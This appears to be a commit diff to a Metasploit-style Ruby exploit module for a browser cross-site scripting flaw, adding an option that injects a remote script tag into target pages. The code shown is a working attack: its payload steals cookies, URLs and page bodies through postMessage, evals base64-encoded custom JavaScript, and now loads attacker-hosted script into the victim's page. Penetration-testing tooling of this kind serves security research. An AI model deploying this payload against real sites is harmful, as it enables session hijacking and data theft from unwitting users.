@@ -57,6 +57,11 @@ module also allows running aribrary javascript in the context of the targeted UR
57
57
"A string of javascript to execute in the context of the target URLs." ,
58
58
''
59
59
] ) ,
60
+ OptString . new ( 'REMOTE_JS' , [
61
+ false ,
62
+ "A URL to inject into a script tag in the context of the target URLs." ,
63
+ ''
64
+ ] ) ,
60
65
OptBool . new ( 'BYPASS_XFO' , [
61
66
false ,
62
67
"Bypass URLs that have X-Frame-Options by using a one-click popup exploit." ,
@@ -123,7 +128,7 @@ def on_request_uri(cli, request)
123
128
var exploit = function(){
124
129
window.open('\\ u0000javascript:if(document&&document.body){(opener||top).postMessage('+
125
130
'JSON.stringify({cookie:document.cookie,url:location.href,body:document.body.innerH'+
126
- 'TML,i:'+(i||0)+'}),"*");eval(atob("#{ Rex ::Text . encode_base64 ( datastore [ 'CUSTOM_JS' ] ) } "'+
131
+ 'TML,i:'+(i||0)+'}),"*");eval(atob("#{ Rex ::Text . encode_base64 ( custom_js ) } "'+
127
132
'));}void(0);', n);
128
133
}
129
134
if (!n) {
@@ -215,6 +220,19 @@ def backend_url
215
220
"#{ proto } ://#{ myhost } #{ port_str } /#{ datastore [ 'URIPATH' ] } /catch"
216
221
end
217
222
223
+ def custom_js
224
+ rjs_hook + datastore [ 'CUSTOM_JS' ]
225
+ end
226
+
227
+ def rjs_hook
228
+ remote_js = datastore [ 'REMOTE_JS' ]
229
+ if remote_js . present?
230
+ "var s = document.createElement('script');s.setAttribute('src', '#{ remote_js } ');document.body.appendChild(s); "
231
+ else
232
+ ''
233
+ end
234
+ end
235
+
218
236
def run
219
237
exploit
220
238
end
0 commit comments